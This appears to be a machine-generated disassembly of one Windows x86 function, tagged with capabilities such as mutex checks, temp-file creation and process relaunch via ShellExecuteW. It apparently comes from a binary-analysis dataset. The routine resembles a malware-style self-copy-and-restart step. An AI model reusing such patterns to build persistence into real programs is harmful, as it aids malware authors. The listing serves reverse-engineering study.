Function at 0x4123c3
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
push ebx
push esi
mov dword [ebp - 4], ecx
mov ecx, 0x475418
push edi
call fcn.00401fab
push eax
push 1
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
test eax, eax
jne 0x4123f4
push 1
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov esi, 0x475338
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
push 0x208
lea eax, [ebp - 0x228]
mov edi, 0x4752f0
push eax
push str.exepath
mov ecx, edi
call fcn.00401fab
mov edx, eax
call fcn.00413646
add esp, 0x14
test al, al
jne 0x412437
push ebx
jmp 0x4123ee
lea ecx, [ebp - 0x1c]
call fcn.004020df
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x228]
call fcn.0041c3d3
push ebx
test al, al
je 0x4123ee
push 0x80
push 3
push ebx
push 1
push closesocket
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
push dword [ebp - 4]
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
push 0x46c4e4
mov ecx, edi
call fcn.00401fab
mov edx, eax
call fcn.004137c5
pop ecx
pop ecx
test al, al
je 0x4123ec
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
lea eax, [ebp - 0x228]
jne 0x412584
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040247c
lea ecx, [ebp - 0x1c]
mov esi, eax
call fcn.00401fab
mov edx, esi
mov ecx, eax
call fcn.0041c33f
pop ecx
pop ecx
test al, al
je 0x412502
lea eax, [ebp - 0x228]
jmp 0x412584
push 0x208
lea eax, [ebp - 0x638]
push ebx
push eax
call fcn.00436dd0
add esp, 0xc
lea eax, [ebp - 0x638]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
lea eax, [ebp - 0x430]
push eax
push ebx
push str.temp_
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameW]
push str..exe
lea eax, [ebp - 0x430]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push ebx
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040247c
lea ecx, [ebp - 0x1c]
mov esi, eax
call fcn.00401fab
mov edx, esi
mov ecx, eax
call fcn.0041c33f
pop ecx
pop ecx
test al, al
je 0x412591
lea eax, [ebp - 0x430]
push 1
push ebx
push ebx
push eax
push 0x466108
push ebx
call edi
mov esi, 0x4752f0
lea eax, [ebp - 4]
mov ecx, esi
push eax
push 0x4673a4
call fcn.00401fab
mov edx, eax
call fcn.00413497
mov bl, al
pop ecx
pop ecx
test bl, bl
je 0x4125cb
push 0x4673a4
mov ecx, esi
call fcn.00401fab
mov edx, eax
call fcn.004138f7
pop ecx
jmp 0x4125d6
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
test bl, bl
je 0x412596
push dword [ebp - 4]
xor ebx, ebx
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
push 0x46c4e4
mov ecx, 0x4752f0
call fcn.00401fab
mov edx, eax
call fcn.004137c5
pop ecx
pop ecx
test al, al
jne 0x4124b9
jmp 0x4123ec